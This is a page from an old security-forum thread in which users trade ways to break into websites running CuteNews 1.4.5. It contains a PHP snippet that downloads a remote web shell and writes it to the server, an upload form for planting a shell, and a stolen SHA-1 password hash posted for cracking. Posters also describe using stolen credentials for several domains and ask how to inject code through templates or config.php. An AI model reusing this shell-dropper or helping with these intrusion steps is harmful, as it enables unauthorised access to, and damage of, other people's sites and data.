 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 Posted: Tue Aug 19, 2008 4:58 pm |
 |
|
| xxxmystikxxx |
| Regular user |
 |
|
| Joined: Aug 17, 2008 |
| Posts: 8 |
| Location: C:/Lineage2/system/l2.exe |
|
|
 |
|
 |
|
i find this in google
$file = file_get_contents('url to yor shell');
$brd = fopen('file2.php','w+');
$write = fwrite($brd, $file);
i insert it and see his config.php then connet to his database.
And now a question: How to decode accounts passwords? |
|
|
|
|
| Posted: Wed Aug 20, 2008 2:45 pm |
|
|
| xxxmystikxxx |
| Regular user |
|
|
| Joined: Aug 17, 2008 |
| Posts: 8 |
| Location: C:/Lineage2/system/l2.exe |
|
|
|
|
|
|
| for example how to decode this RDkMcWDQld3vxLdlVnsHLGRhJ5Y= |
|
|
|
|
| Posted: Wed Aug 20, 2008 9:17 pm |
|
|
| lenny |
| Valuable expert |
 |
|
| Joined: May 15, 2008 |
| Posts: 275 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Thu Aug 21, 2008 6:24 am |
|
|
| xxxmystikxxx |
| Regular user |
|
|
| Joined: Aug 17, 2008 |
| Posts: 8 |
| Location: C:/Lineage2/system/l2.exe |
|
|
|
|
|
|
| lenny wrote: | http://makcoder.sourceforge.net/demo/base64.php  |
idoesnt decode this because it is base64 decoder but i need SHA-1(base64) |
|
|
|
|
| Posted: Fri Aug 22, 2008 1:42 pm |
|
|
| lenny |
| Valuable expert |
|
|
| Joined: May 15, 2008 |
| Posts: 275 |
|
|
|
|
|
|
|
| oh ok, well in that case you need to submit it in the hash cracking forum. I will run it through my dictionaries now though |
|
|
|
|
|
 |
|
 |
| Posted: Sat Aug 30, 2008 3:56 am |
|
|
| Romi |
| Beginner |
|
|
| Joined: Apr 06, 2008 |
| Posts: 3 |
|
|
|
|
|
|
|
| xxxmystikxxx wrote: | i find this in google
$file = file_get_contents('url to yor shell');
$brd = fopen('file2.php','w+');
$write = fwrite($brd, $file);
|
Hey, m8!
Can you explain me pls, how can i insert this code in template?
I have try upload form but is not work...
this is the form code:
| Code: |
<form enctype="multipart/form-data" method=POST >
<input type=hidden name=MAX_FILE_SIZE value=1024000>Send this file:
<input name=userfile type=file>
<input type=submit value="Send File"></form>
<?php if(!empty($_FILES[userfile][tmp_name])){
if(move_uploaded_file($_FILES[userfile][tmp_name],"data/upimages/".$_FILES[userfile][name])){
echo "<br> <br> fFile Uploaded ";}}
?>
|
but dosn't work ,can anyone help me?
P.S.
I have try simple code = phpinfo(); in template
not work too, some sugestion? |
|
|
|
|
| Posted: Sat Aug 30, 2008 5:12 pm |
|
|
| pexli |
| Valuable expert |
|
|
| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
|
|
|
|
|
|
Read whole thread.  |
|
|
|
|
| Posted: Sat Aug 30, 2008 10:13 pm |
|
|
| Romi |
| Beginner |
|
|
| Joined: Apr 06, 2008 |
| Posts: 3 |
|
|
|
|
|
|
|
| koko wrote: | | Read whole thread. |
OK. m8, i have read all thread about cutenews 1.4.5 and i can't find nothing...
I have try all solution, nothing...
Have more 8 domain account and passw.., but i cant insert shell...
i have try in more domain, and nothing....
PHP code is not work in template...
Some domain are patched from "Napas", may be this patch is not vulnerable to shell?
I have try with immage too = nothing...
Give me an idea man, if you can....
Thx in advance..... |
|
|
|
|
| Posted: Thu Jun 04, 2009 10:10 pm |
|
|
| JasonB |
| Regular user |
|
|
| Joined: Apr 05, 2009 |
| Posts: 23 |
|
|
|
|
|
|
|
Hmm, I followed the advice here but it doesn't seem to work.
I get a parsing error if I try to put php into the template, I can get phpinfo to display but I'm lost for what to do now.. |
|
|
|
|
| Posted: Sat Sep 12, 2009 4:59 am |
|
|
| bizzumbottom |
| Active user |
|
|
| Joined: Sep 09, 2009 |
| Posts: 27 |
|
|
|
|
|
|
|
So I have access, but .tpl templates can't execute php code.
So the other two choices are to inject code via creating a new user, or changing config.php
Either way, how would I do so properly? I already crashed the last CuteNews site I got into. |
|
|
|
|
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 2
Goto page Previous1, 2
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 70
Members: 0
Total: 70
